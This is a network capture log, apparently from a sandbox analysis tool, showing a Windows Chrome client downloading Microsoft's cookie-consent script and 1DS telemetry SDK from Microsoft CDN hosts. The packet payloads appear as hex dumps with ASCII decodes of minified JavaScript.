2024-11-18 12:31:15 UTC	16384	IN	Data Raw: 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 22 64 61 74 61 2d 6d 22 3d 3d 3d 74 5b 6e 5d 2e 6e 61 6d 65 7c 7c 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 Data Ascii: otype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if("data-m"===t[n].name\|\|~t[n].name.indexOf
2024-11-18 12:31:15 UTC	16384	IN	Data Raw: 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 70 75 73 68 22 2c 78 67 3d 22 73 70 6c 69 74 22 2c 4e 67 3d 22 73 70 6c 69 63 65 22 2c 44 67 3d 22 74 6f 4c 6f 77 65 72 43 61 73 65 Data Ascii: en",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="push",xg="split",Ng="splice",Dg="toLowerCase
2024-11-18 12:31:15 UTC	16384	IN	Data Raw: 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d 6f 65 2c 69 3d 4f 29 2c 21 31 29 3b 72 3c 69 3f 61 3d 21 43 28 65 2c 74 29 3a 28 72 3d 31 2c 69 3d 32 30 2c 34 3d 3d 3d 6e 26 26 28 Data Ascii: [lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=oe,i=O),!1);r<i?a=!C(e,t):(r=1,i=20,4===n&&(

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.8	49930	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:31:14 UTC	551	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-18 12:31:15 UTC	713	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:31:14 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 11705 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: c254d5cd-a01e-0060-689a-3951de000000 x-ms-version: 2009-09-19 x-azure-ref: 20241118T123114Z-1866b5c5fbbz7hb5hC1DFWru7c00000005t0000000003zyp Accept-Ranges: bytes
2024-11-18 12:31:15 UTC	15671	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-11-18 12:31:15 UTC	712	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 65 3f 65 2e 72 65 70 6c 61 63 65 28 2f 26 2f 67 2c 22 26 61 6d 70 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3c 2f 67 2c 22 26 6c 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3e 2f 67 2c 22 26 67 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 27 2f 67 2c 22 26 23 30 33 39 3b 22 29 3a 22 22 7d 2c 65 7d 28 29 2c 61 3d 6e 2e 6c 6f 63 61 6c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6f 2c 6e 2c 72 2c 69 2c 61 29 7b 74 68 69 73 2e 64 69 72 65 63 74 69 6f 6e 3d 22 6c 74 72 22 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 46 6f 63 75 73 45 6c 65 6d 65 6e 74 42 65 66 6f 72 65 50 6f 70 75 70 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 6f 6f 6b 69 Data Ascii: ){return e?e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'"):""},e}(),a=n.locals,l=function(){function e(e,t,o,n,r,i,a){this.direction="ltr",this.previousFocusElementBeforePopup=null,this.cooki
2024-11-18 12:31:15 UTC	16384	IN	Data Raw: 61 2d 6c 61 62 65 6c 3d 22 27 2b 69 2e 65 73 63 61 70 65 48 74 6d 6c 28 74 68 69 73 2e 74 65 78 74 52 65 73 6f 75 72 63 65 73 2e 70 72 65 66 65 72 65 6e 63 65 73 44 69 61 6c 6f 67 43 6c 6f 73 65 4c 61 62 65 6c 29 2b 27 22 20 63 6c 61 73 73 3d 22 27 2b 61 2e 63 6c 6f 73 65 4d 6f 64 61 6c 49 63 6f 6e 2b 27 22 20 74 61 62 69 6e 64 65 78 3d 22 30 22 3e 26 23 78 32 37 31 35 3b 3c 2f 62 75 74 74 6f 6e 3e 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 72 6f 6c 65 3d 22 64 6f 63 75 6d 65 6e 74 22 20 63 6c 61 73 73 3d 22 27 2b 61 2e 6d 6f 64 61 6c 42 6f 64 79 2b 27 22 3e 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 3e 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 31 20 63 6c 61 73 73 3d 22 27 2b 61 2e 6d 6f Data Ascii: a-label="'+i.escapeHtml(this.textResources.preferencesDialogCloseLabel)+'" class="'+a.closeModalIcon+'" tabindex="0">✕</button>\n <div role="document" class="'+a.modalBody+'">\n <div>\n <h1 class="'+a.mo
2024-11-18 12:31:15 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 7d 2c 65 7d 28 29 2c 64 3d 5b 22 61 72 22 2c 22 68 65 22 2c 22 70 73 22 2c 22 75 72 22 2c 22 66 61 22 2c 22 70 61 22 2c 22 73 64 22 2c 22 74 6b 22 2c 22 75 67 22 2c 22 79 69 22 2c 22 73 79 72 22 2c 22 6b 73 2d 61 72 61 62 22 5d 2c 75 3d 7b 22 63 6c 6f 73 65 2d 62 75 74 74 6f 6e 2d 63 6f 6c 6f 72 22 3a 22 23 36 36 36 36 36 36 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 6f 70 61 63 69 74 79 22 3a 22 31 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f 6e Data Ascii: background-color: "+e["radio-button-disabled-color"]+" !important;\n }"},e}(),d=["ar","he","ps","ur","fa","pa","sd","tk","ug","yi","syr","ks-arab"],u={"close-button-color":"#666666","secondary-button-disabled-opacity":"1","secondary-button
2024-11-18 12:31:15 UTC	3566	IN	Data Raw: 22 2d 22 29 5b 30 5d 3b 6f 3d 65 2e 73 70 6c 69 74 28 22 2d 22 29 5b 30 5d 3d 3d 3d 6e 7d 72 65 74 75 72 6e 20 6f 7d 28 65 2c 63 29 7d 29 29 3b 73 26 26 30 3d 3d 3d 73 2e 6c 65 6e 67 74 68 26 26 28 65 3d 22 65 6e 2d 55 53 22 29 2c 6f 2e 70 6c 61 63 65 68 6f 6c 64 65 72 45 6c 65 6d 65 6e 74 3d 6c 2c 72 26 26 6f 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 65 64 43 61 6c 6c 62 61 63 6b 73 2e 72 65 67 69 73 74 65 72 43 61 6c 6c 62 61 63 6b 28 72 29 2c 6f 2e 73 61 76 65 43 6f 6f 6b 69 65 28 29 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 3d 6e 65 77 20 66 28 21 31 29 2c 6e 75 6c 6c 3d 3d 6e 7c 7c 6e 28 76 6f 69 64 20 30 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 29 2c 6f 2e 69 73 49 6e 69 74 52 65 61 64 79 3d 21 30 2c 74 68 69 73 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 Data Ascii: "-")[0];o=e.split("-")[0]===n}return o}(e,c)}));s&&0===s.length&&(e="en-US"),o.placeholderElement=l,r&&o.consentChangedCallbacks.registerCallback(r),o.saveCookie(),o.siteConsent=new f(!1),null==n\|\|n(void 0,o.siteConsent),o.isInitReady=!0,this.consentChang

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.8	49948	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:31:29 UTC	373	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-18 12:31:29 UTC	713	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:31:29 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 11720 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: c254d5cd-a01e-0060-689a-3951de000000 x-ms-version: 2009-09-19 x-azure-ref: 20241118T123129Z-1866b5c5fbb5hnj5hC1DFW18sc00000005w000000000bs9d Accept-Ranges: bytes
2024-11-18 12:31:29 UTC	15671	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-11-18 12:31:29 UTC	16384	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 65 3f 65 2e 72 65 70 6c 61 63 65 28 2f 26 2f 67 2c 22 26 61 6d 70 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3c 2f 67 2c 22 26 6c 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3e 2f 67 2c 22 26 67 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 27 2f 67 2c 22 26 23 30 33 39 3b 22 29 3a 22 22 7d 2c 65 7d 28 29 2c 61 3d 6e 2e 6c 6f 63 61 6c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6f 2c 6e 2c 72 2c 69 2c 61 29 7b 74 68 69 73 2e 64 69 72 65 63 74 69 6f 6e 3d 22 6c 74 72 22 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 46 6f 63 75 73 45 6c 65 6d 65 6e 74 42 65 66 6f 72 65 50 6f 70 75 70 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 6f 6f 6b 69 Data Ascii: ){return e?e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'"):""},e}(),a=n.locals,l=function(){function e(e,t,o,n,r,i,a){this.direction="ltr",this.previousFocusElementBeforePopup=null,this.cooki
2024-11-18 12:31:29 UTC	16384	IN	Data Raw: 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 62 65 6c 3a 68 6f 76 65 72 3a 3a 61 66 74 65 72 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c Data Ascii: or"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + label:hover::after {\n background-color: "+e["radio-button-hover-background-color"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + l
2024-11-18 12:31:29 UTC	712	IN	Data Raw: 65 6d 65 6e 74 42 79 49 64 28 22 77 63 70 43 6f 6e 73 65 6e 74 42 61 6e 6e 65 72 43 74 72 6c 22 29 7d 2c 65 2e 65 6d 69 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 74 5b 6f 2d 31 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d 3b 76 61 72 20 6e 3d 74 68 69 73 2e 65 76 65 6e 74 73 5b 65 5d 3b 6e 26 26 6e 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 74 29 7d 29 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 65 2e 61 64 64 45 76 65 6e 74 Data Ascii: ementById("wcpConsentBannerCtrl")},e.emit=function(e){for(var t=[],o=1;o<arguments.length;o++)t[o-1]=arguments[o];var n=this.events[e];n&&n.forEach((function(e){e.apply(null,t)}))},e.prototype.addEventListener=function(e,t,o){e.addEventListener?e.addEvent
2024-11-18 12:31:29 UTC	3566	IN	Data Raw: 22 2d 22 29 5b 30 5d 3b 6f 3d 65 2e 73 70 6c 69 74 28 22 2d 22 29 5b 30 5d 3d 3d 3d 6e 7d 72 65 74 75 72 6e 20 6f 7d 28 65 2c 63 29 7d 29 29 3b 73 26 26 30 3d 3d 3d 73 2e 6c 65 6e 67 74 68 26 26 28 65 3d 22 65 6e 2d 55 53 22 29 2c 6f 2e 70 6c 61 63 65 68 6f 6c 64 65 72 45 6c 65 6d 65 6e 74 3d 6c 2c 72 26 26 6f 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 65 64 43 61 6c 6c 62 61 63 6b 73 2e 72 65 67 69 73 74 65 72 43 61 6c 6c 62 61 63 6b 28 72 29 2c 6f 2e 73 61 76 65 43 6f 6f 6b 69 65 28 29 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 3d 6e 65 77 20 66 28 21 31 29 2c 6e 75 6c 6c 3d 3d 6e 7c 7c 6e 28 76 6f 69 64 20 30 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 29 2c 6f 2e 69 73 49 6e 69 74 52 65 61 64 79 3d 21 30 2c 74 68 69 73 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 Data Ascii: "-")[0];o=e.split("-")[0]===n}return o}(e,c)}));s&&0===s.length&&(e="en-US"),o.placeholderElement=l,r&&o.consentChangedCallbacks.registerCallback(r),o.saveCookie(),o.siteConsent=new f(!1),null==n\|\|n(void 0,o.siteConsent),o.isInitReady=!0,this.consentChang

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.8	49949	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:31:29 UTC	370	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-18 12:31:29 UTC	912	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:31:29 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: b909e3ec-f01e-00d4-7c8f-269d10000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241118T123129Z-16547b76f7fht2hfhC1DFWbngg000000069g000000000ed5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 12:31:29 UTC	15472	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-11-18 12:31:29 UTC	16384	IN	Data Raw: 5b 61 69 5d 28 69 29 3a 28 6e 3d 65 5b 22 6f 6e 22 2b 74 5d 29 3f 6e 28 69 29 3a 28 72 3d 66 65 28 22 63 6f 6e 73 6f 6c 65 22 29 29 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 Data Ascii: [ai](i):(n=e["on"+t])?n(i):(r=fe("console"))&&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state
2024-11-18 12:31:29 UTC	16384	IN	Data Raw: 2c 5b 65 2e 61 72 67 5d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 67 63 28 65 2c 74 2c 6e 2c 72 29 7b 67 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c Data Ascii: ,[e.arg])})}function gc(e,t,n,r){ge(e,function(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll
